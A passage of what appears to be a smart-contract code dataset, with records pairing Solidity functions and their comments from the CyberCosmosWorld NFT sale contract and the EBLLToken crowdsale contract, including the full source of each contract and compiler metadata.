_safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
_verifyPL
function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); }
/* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 16648, 16817 ] }
14,193
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
/* * @dev receive() function to let the contract accept ETH */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 16894, 16926 ] }
14,194
EBLLToken
EBLLToken.sol
0x8fbc31c70f6f3cc24d417df9e287806ac6f2ceb0
Solidity
EBLLToken
contract EBLLToken is StandardToken, SafeMath { // metadata string public constant name = "易宝链"; string public constant symbol = "EBL"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 5963; // 5963 EBL 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // 分配的私有交易token; event IssueToken(address indexed _to, uint256 _value); // 公开发行售卖的token; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } // constructor function EBLLToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(1600000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } /// @dev 超发token处理 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } /// @dev 被盗token处理 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } /// 启动区块检测 异常的处理 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } /// 关闭区块异常处理 function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } /// 开发了一个新的合同来接收token(或者更新token) function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } /// 设置新的所有者地址 function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } ///转移token到新的合约 function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); // log it } /// 转账ETH 到EBLToken团队 function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } /// 将EBL token分配到预处理地址。 function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); //记录日志 } }
formatDecimals
function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; }
// 转换
LineComment
v0.4.24+commit.e67f0147
bzzr://9e87e34acca5d31437ee3a85dfa9e91d9694708ed9df319a414e4530c61d4672
{ "func_code_index": [ 1145, 1267 ] }
14,195
EBLLToken
EBLLToken.sol
0x8fbc31c70f6f3cc24d417df9e287806ac6f2ceb0
Solidity
EBLLToken
contract EBLLToken is StandardToken, SafeMath { // metadata string public constant name = "易宝链"; string public constant symbol = "EBL"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 5963; // 5963 EBL 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // 分配的私有交易token; event IssueToken(address indexed _to, uint256 _value); // 公开发行售卖的token; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } // constructor function EBLLToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(1600000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } /// @dev 超发token处理 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } /// @dev 被盗token处理 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } /// 启动区块检测 异常的处理 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } /// 关闭区块异常处理 function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } /// 开发了一个新的合同来接收token(或者更新token) function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } /// 设置新的所有者地址 function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } ///转移token到新的合约 function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); // log it } /// 转账ETH 到EBLToken团队 function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } /// 将EBL token分配到预处理地址。 function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); //记录日志 } }
EBLLToken
function EBLLToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(1600000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; }
// constructor
LineComment
v0.4.24+commit.e67f0147
bzzr://9e87e34acca5d31437ee3a85dfa9e91d9694708ed9df319a414e4530c61d4672
{ "func_code_index": [ 1291, 1783 ] }
14,196
EBLLToken
EBLLToken.sol
0x8fbc31c70f6f3cc24d417df9e287806ac6f2ceb0
Solidity
EBLLToken
contract EBLLToken is StandardToken, SafeMath { // metadata string public constant name = "易宝链"; string public constant symbol = "EBL"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 5963; // 5963 EBL 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // 分配的私有交易token; event IssueToken(address indexed _to, uint256 _value); // 公开发行售卖的token; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } // constructor function EBLLToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(1600000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } /// @dev 超发token处理 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } /// @dev 被盗token处理 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } /// 启动区块检测 异常的处理 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } /// 关闭区块异常处理 function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } /// 开发了一个新的合同来接收token(或者更新token) function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } /// 设置新的所有者地址 function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } ///转移token到新的合约 function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); // log it } /// 转账ETH 到EBLToken团队 function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } /// 将EBL token分配到预处理地址。 function 